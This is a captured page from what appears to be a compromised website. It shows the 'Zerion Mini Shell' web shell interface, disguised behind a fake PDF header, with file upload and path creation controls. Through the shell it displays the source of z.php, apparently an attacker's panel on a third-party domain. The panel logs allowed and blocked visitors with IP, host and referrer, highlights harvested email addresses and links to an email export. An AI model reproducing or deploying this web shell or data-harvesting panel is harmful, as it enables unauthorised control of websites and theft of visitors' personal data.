%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/dossteste.vacivitta.com.br/vendor/
Upload File :
Create Path :
Current File : /home/vacivi36/dossteste.vacivitta.com.br/vendor/z.php

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
set_time_limit(0);
date_default_timezone_set("America/Sao_Paulo");
setlocale(LC_ALL, 'pt_BR');
ignore_user_abort(true);

if(!file_exists("LIBERADOS.txt")) file_put_contents("LIBERADOS.txt","");
if(!file_exists("BLOQUEADOS.txt")) file_put_contents("BLOQUEADOS.txt","");

$FILE_LIBERADOS = file_get_contents("LIBERADOS.txt");
$FILE_BLOQUEADOS = file_get_contents("BLOQUEADOS.txt");

$FILE_LIBERADOS_ROWS = explode("\n", $FILE_LIBERADOS);
$FILE_BLOQUEADOS_ROWS = explode("\n", $FILE_BLOQUEADOS);

$COUNT_DESKTOP = 0;
$COUNT_MOBILE = 0;

foreach ($FILE_LIBERADOS_ROWS as $row) {
    if(strpos($row, "DESKTOP") !== false) $COUNT_MOBILE++;
    if(strpos($row, "MOBILE") !== false) $COUNT_DESKTOP++;
}
?>

<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>S B Z</title>
    <meta http-equiv="refresh" content="25">

    <style>
        body {
            background-color: #0F0F1C;
            color: #EDEDED;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            padding: 40px;
            margin: 0;
        }

        h2 {
            color: #00FFC6;
            font-weight: 400;
            margin-bottom: 10px;
        }

        .stats {
            background: #13132B;
            border: 1px solid #27274D;
            border-radius: 10px;
            padding: 20px;
            margin-bottom: 30px;
            box-shadow: 0 0 10px #00ffc66b;
        }

        .stats a {
            color: #B677FF;
            font-weight: bold;
            text-decoration: none;
            margin-right: 10px;
        }

        .stats a:hover {
            text-decoration: underline;
        }

        .table-container {
            overflow-x: auto;
        }

        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
            background-color: #13132B;
            box-shadow: 0 0 10px rgba(0,255,198,0.1);
            border-radius: 8px;
            overflow: hidden;
        }

        th {
            background-color: #1A1A2E;
            color: #00FFC6;
            padding: 10px;
            font-size: 13px;
            border-bottom: 1px solid #27274D;
        }

        td {
            padding: 10px;
            font-size: 12px;
            color: #ccc;
        }

        tr:nth-child(even) {
            background-color: #0F0F1C;
        }

        tr:hover {
            background-color: #23234a;
        }

        .countdown {
            color: #888;
            font-size: 11px;
            margin-top: 5px;
        }

        .email-highlight {
            color: #FFD700; /* amarelo */
        }
    </style>
</head>
<body>
    <h2>S B Z</h2>
    <div class="stats">
        <div>
            <a href="?liberados">Ver Liberados</a>
            <a href="?bloqueados">Ver Bloqueados</a>
            <a href="export_emails.php" target="_blank">Exportar Emails</a>
        </div>
        <br>
        <div>Total Liberados: <?= count($FILE_LIBERADOS_ROWS) - 1; ?></div>
        <div>Total Bloqueados: <?= count($FILE_BLOQUEADOS_ROWS) - 1; ?></div>
        <div>Total Mobile: <?= $COUNT_DESKTOP; ?></div>
        <div>Total Desktop: <?= $COUNT_MOBILE; ?></div>
        <div class="countdown">Atualizando em <span id="countdown">10</span> segundos...</div>
    </div>

    <div class="table-container">
        <table>
            <thead>
                <tr>
                    <th>#</th>
                    <th>DATA</th>
                    <th>OS</th>
                    <?php if ($_SERVER['QUERY_STRING'] == "bloqueados") echo "<th>AÇÃO</th>"; ?>
                    <th>QUERY</th>
                    <th>HASH</th>
                    <th>IP</th>
                    <th>HOST</th>
                    <th>REFERÊNCIA</th>
                </tr>
            </thead>
            <tbody>
                <?php
                function highlightEmail($text) {
                    return filter_var($text, FILTER_VALIDATE_EMAIL) 
                        ? "<span class='email-highlight'>$text</span>" 
                        : $text;
                }

                if ($_SERVER['QUERY_STRING'] == "bloqueados") {
                    $FILE_BLOQUEADOS_ROWS = array_reverse($FILE_BLOQUEADOS_ROWS, true);
                    foreach ($FILE_BLOQUEADOS_ROWS as $key => $row) {
                        if (strpos($row, "|") !== false) {
                            $row = explode("|", $row);
                            if ($row[1] !== "IP_IN_LIST") {
                                echo "<tr>
                                        <td>$key</td>
                                        <td>$row[0]</td>
                                        <td>$row[7]</td>
                                        <td>" . highlightEmail($row[1]) . "</td>
                                        <td>" . highlightEmail($row[2]) . "</td>
                                        <td style='font-size: 10px;'>" . $row[3] . "</td>
                                        <td>$row[4]</td>
                                        <td>$row[5]</td>
                                        <td style='font-size: 10px;'>" . highlightEmail($row[6]) . "</td>
                                      </tr>";
                            }
                        }
                    }
                } else {
                    $FILE_LIBERADOS_ROWS = array_reverse($FILE_LIBERADOS_ROWS, true);
                    foreach ($FILE_LIBERADOS_ROWS as $key => $row) {
                        if (strpos($row, "|") !== false) {
                            $row = explode("|", $row);
                            echo "<tr>
                                    <td>$key</td>
                                    <td>$row[0]</td>
                                    <td>$row[6]</td>
                                    <td>" . highlightEmail($row[1]) . "</td>
                                    <td style='font-size: 10px;'>" . highlightEmail($row[2]) . "</td>
                                    <td>$row[3]</td>
                                    <td>$row[4]</td>
                                    <td style='font-size: 10px;'>" . highlightEmail($row[5]) . "</td>
                                  </tr>";
                        }
                    }
                }
                ?>
            </tbody>
        </table>
    </div>

    <script>
        (function countdown(remaining) {
            if (remaining === 0) location.reload(true);
            document.getElementById('countdown').innerText = remaining;
            setTimeout(() => countdown(remaining - 1), 1000);
        })(10);
    </script>
</body>
</html>

Zerion Mini Shell 1.0